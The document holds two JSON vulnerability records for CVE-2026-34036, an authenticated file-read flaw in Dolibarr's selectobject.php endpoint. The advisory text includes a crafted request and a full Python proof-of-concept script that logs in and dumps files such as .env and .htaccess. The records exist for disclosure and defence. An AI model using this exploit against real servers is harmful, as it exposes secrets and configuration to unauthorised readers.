{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:dolibarr:dolibarr_erp\\/crm:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "3BAE3269-374D-425C-B943-C4DA4494F7BF",
              "versionEndIncluding": "22.0.4",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Dolibarr is an enterprise resource planning (ERP) and customer relationship management (CRM) software package. In versions 22.0.4 and prior, there is a Local File Inclusion (LFI) vulnerability in the core AJAX endpoint /core/ajax/selectobject.php. By manipulating the objectdesc parameter and exploiting a fail-open logic flaw in the core access control function restrictedArea(), an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as .env, .htaccess, configuration backups, or logs\u2026). At time of publication, there are no publicly available patches."
    },
    {
      "lang": "es",
      "value": "Dolibarr es un paquete de software de planificaci\u00f3n de recursos empresariales (ERP) y gesti\u00f3n de relaciones con clientes (CRM). En las versiones 22.0.4 y anteriores, existe una vulnerabilidad de inclusi\u00f3n local de ficheros (LFI) en el endpoint AJAX principal /core/ajax/selectobject.php. Al manipular el par\u00e1metro objectdesc y explotar un fallo l\u00f3gico de \u0027fail-open\u0027 en la funci\u00f3n de control de acceso principal restrictedArea(), un usuario autenticado sin privilegios espec\u00edficos puede leer el contenido de ficheros no PHP arbitrarios en el servidor (como .env, .htaccess, copias de seguridad de configuraci\u00f3n o registros...). En el momento de la publicaci\u00f3n, no hay parches disponibles p\u00fablicamente."
    }
  ],
  "id": "CVE-2026-34036",
  "lastModified": "2026-04-03T16:54:36.280",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-31T03:15:57.710",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/Dolibarr/dolibarr/commit/743c22e57c0b2a017d6b92bec865d71ce6177a6a"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-2mfj-r695-5h9r"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-2mfj-r695-5h9r"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-98"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "dolibarr/dolibarr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "22.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34036"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-98"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T18:04:19Z",
    "nvd_published_at": "2026-03-31T03:15:57Z",
    "severity": "MODERATE"
  },
  "details": "# Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure\n\n## Target\n\nDolibarr Core (Tested on version 22.0.4)\n\n## Summary\n\nA Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint `/core/ajax/selectobject.php`. By manipulating the `objectdesc` parameter and exploiting a fail-open logic flaw in the core access control function `restrictedArea()`, an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as `.env`, `.htaccess`, configuration backups, or logs\u2026).\n\n## Vulnerability Details\n\nThe vulnerability is caused by a critical design flaw in `/core/ajax/selectobject.php` where dynamic file inclusion occurs **before** any access control checks are performed, combined with a fail-open logic in the core ACL function.\n\n- **Arbitrary File Inclusion BEFORE Authorization:** The endpoint parses the `objectdesc` parameter into a `$classpath`. If `fetchObjectByElement` fails (e.g., by providing a fake class like `A:conf/.htaccess:0`), the application falls back to `dol_include_once($classpath)` at **line 71**. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens *before* the application checks any user permissions.\n- **Access Control Bypass (Fail-Open):** At **line 102**, the application finally attempts to verify permissions by calling `restrictedArea()`. Because the object creation failed, the `$features` parameter sent to `restrictedArea()` is empty (`\u0027\u0027`). Inside `security.lib.php`, if the `$features` parameter is empty, the access check block is completely skipped, leaving the `$readok` variable at `1`. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.\n\nThis allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like `.htaccess`, `.env`, `.json`, `.sql`) are dumped into the HTTP response before the application crashes.\n\n## Steps to Reproduce\n\n- Log in to the Dolibarr instance with any user account (no specific permissions required).\n- Intercept or manually forge a GET request to the following endpoint:\n\n```\nGET /core/ajax/selectobject.php?outjson=0\u0026htmlname=x\u0026objectdesc=A:conf/.htaccess:0\n```\n\n- Observe the HTTP response. The contents of the `conf/.htaccess` file will be reflected in the response body right before the PHP Fatal Error message.\n- *(Optional)* Run the attached Python PoC to automate the extraction:\n\n```\npython3 poc.py --url http://target.com --username \u0027\u003cusername\u003e\u0027 --password \u0027\u003cpassword\u003e\u0027 --file conf/.htaccess\n```\n\n## Impact\n\nAn attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (`.env`), infrastructure configurations (`.htaccess`), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.\n\n## Suggested Mitigation\n\n- **Input Validation \u0026 Whitelisting:** The `$classpath` must be strictly validated or whitelisted before being passed to `dol_include_once()`.\n- **Execution Flow Correction:** The file inclusion logic must never be executed before the user\u0027s authorization has been fully verified.\n- **Enforce Fail-Secure ACLs:** Modify `restrictedArea()` in `core/lib/security.lib.php` so that if the `$features` parameter is empty, access is explicitly denied (`$readok = 0`) instead of allowed by default.\n\n## Disclosure Policy \u0026 Assistance\n\nThe reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.\n\nShould any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.\n\nThank you for the time and commitment to securing Dolibarr.\n\nBest Regards,\nVincent KHAYAT (cnf409)\n\n## Video PoC\n\nhttps://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844\n\n## PoC Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Dolibarr selectobject.php authenticated LFI PoC\"\"\"\n\nimport argparse\nimport html\nimport re\nimport urllib.error\nimport urllib.parse\nimport urllib.request\nfrom http.cookiejar import CookieJar\n\nLOGIN_MARKERS = (\"Login @\", \"Identifiant @\")\nLOGOUT_MARKERS = (\"/user/logout.php\", \"Logout\", \"Mon tableau de bord\")\n\ndef request(\n    opener, base_url, method, path, params=None, data=None, timeout=15\n):\n    url = f\"{base_url.rstrip(\u0027/\u0027)}{path}\"\n    if params:\n        url = f\"{url}?{urllib.parse.urlencode(params)}\"\n    payload = urllib.parse.urlencode(data).encode(\"utf-8\") if data else None\n    req = urllib.request.Request(url, method=method.upper(), data=payload)\n    req.add_header(\"User-Agent\", \"dolibarr-lfi-poc/1.0-securitytest-for-dolibarr\")\n    req.add_header(\"Accept\", \"text/html,application/xhtml+xml\")\n    try:\n        with opener.open(req, timeout=timeout) as resp:\n            return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n    except urllib.error.HTTPError as err:\n        return err.code, err.read().decode(\"utf-8\", errors=\"replace\")\n\ndef extract_login_token(page):\n    for pattern in (\n        r\u0027name=[\"\\\u0027]token[\"\\\u0027]\\s+value=[\"\\\u0027]([^\"\\\u0027]*)[\"\\\u0027]\u0027,\n        r\u0027name=[\"\\\u0027]anti-csrf-newtoken[\"\\\u0027]\\s+content=[\"\\\u0027]([^\"\\\u0027]*)[\"\\\u0027]\u0027,\n    ):\n        match = re.search(pattern, page, flags=re.IGNORECASE)\n        if match:\n            return match.group(1)\n    return \"\"\n\ndef looks_authenticated(body):\n    return any(marker in body for marker in LOGOUT_MARKERS)\n\ndef clean_included_output(body):\n    for marker in (\n        \"\u003cbr /\u003e\\n\u003cb\u003eWarning\",\n        \"\u003cbr /\u003e\\r\\n\u003cb\u003eWarning\",\n        \"\u003cbr /\u003e\\n\u003cb\u003eFatal error\",\n        \"\u003cbr /\u003e\\r\\n\u003cb\u003eFatal error\",\n    ):\n        pos = body.find(marker)\n        if pos != -1:\n            return body[:pos].rstrip()\n    return body.rstrip()\n\ndef login(opener, base_url, username, password):\n    code, login_page = request(opener, base_url, \"GET\", \"/\")\n    if code \u003e= 400:\n        return False, f\"HTTP {code} on login page\"\n    token = extract_login_token(login_page)\n    code, after_login = request(\n        opener,\n        base_url,\n        \"POST\",\n        \"/index.php?mainmenu=home\",\n        data={\n            \"token\": token,\n            \"actionlogin\": \"login\",\n            \"loginfunction\": \"loginfunction\",\n            \"username\": username,\n            \"password\": password,\n        },\n    )\n    if code \u003e= 400:\n        return False, f\"HTTP {code} on login request\"\n    if looks_authenticated(after_login):\n        return True, \"\"\n    code, home = request(opener, base_url, \"GET\", \"/index.php?mainmenu=home\")\n    if code \u003c 400 and looks_authenticated(home):\n        return True, \"\"\n    return False, \"Invalid username or password\"\n\ndef read_file(opener, base_url, relative_path):\n    status, body = request(\n        opener,\n        base_url,\n        \"GET\",\n        \"/core/ajax/selectobject.php\",\n        params={\n            \"outjson\": \"0\",\n            \"htmlname\": \"x\",\n            \"objectdesc\": f\"A:{relative_path}:0\",\n        },\n    )\n    if any(marker in body for marker in LOGIN_MARKERS) and not looks_authenticated(body):\n        raise RuntimeError(\"Session expired or not authenticated\")\n    return status, body, clean_included_output(body)\n\ndef parse_args():\n    parser = argparse.ArgumentParser(\n        description=\"Authenticated LFI PoC against /core/ajax/selectobject.php (Dolibarr 22.0.4).\"\n    )\n    parser.add_argument(\n        \"--url\",\n        default=\"http://127.0.0.1:8080\",\n        help=\"Dolibarr base URL (default: http://127.0.0.1:8080)\",\n    )\n    parser.add_argument(\"--username\", required=True, help=\"Dolibarr username\")\n    parser.add_argument(\"--password\", required=True, help=\"Dolibarr password\")\n    parser.add_argument(\n        \"--file\",\n        dest=\"target_file\",\n        required=True,\n        help=\"Target file to read (e.g. conf/.htaccess).\",\n    )\n    return parser.parse_args()\n\ndef print_result(path, status, raw, clean):\n    print(f\"\\n[+] HTTP status: {status}\")\n    print(f\"[+] Requested file: {path}\")\n    print(\"=\" * 80)\n    if clean:\n        print(html.unescape(clean))\n    else:\n        print(\"(No readable output extracted)\")\n    print(\"=\" * 80)\n    if clean != raw.rstrip():\n        print(\"[i] PHP warnings/fatal output were trimmed from display.\")\n\ndef summarize_error_body(body, limit=1200):\n    text = html.unescape(body).strip()\n    if not text:\n        return \"(Empty response body)\"\n    if len(text) \u003e limit:\n        return text[:limit].rstrip() + \"\\n... [truncated]\"\n    return text\n\ndef main():\n    args = parse_args()\n    opener = urllib.request.build_opener(\n        urllib.request.HTTPCookieProcessor(CookieJar())\n    )\n    ok, reason = login(opener, args.url, args.username, args.password)\n    if not ok:\n        print(f\"[!] {reason}\")\n        return 1\n    print(\"[+] Login successful.\")\n    try:\n        status, raw, clean = read_file(opener, args.url, args.target_file)\n        if status \u003e= 400:\n            print(f\"[!] HTTP {status} while reading target file.\")\n            print(\"=\" * 80)\n            print(summarize_error_body(raw))\n            print(\"=\" * 80)\n            return 1\n        print_result(args.target_file, status, raw, clean)\n        return 0\n    except Exception as exc:\n        print(f\"[!] Error: {exc}\")\n        return 1\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except KeyboardInterrupt:\n        print(\"\\nInterrupted.\")\n        raise SystemExit(130)\n```",
  "id": "GHSA-2mfj-r695-5h9r",
  "modified": "2026-03-31T18:40:14Z",
  "published": "2026-03-27T18:04:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-2mfj-r695-5h9r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34036"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Dolibarr/dolibarr/commit/743c22e57c0b2a017d6b92bec865d71ce6177a6a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Dolibarr/dolibarr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php "
}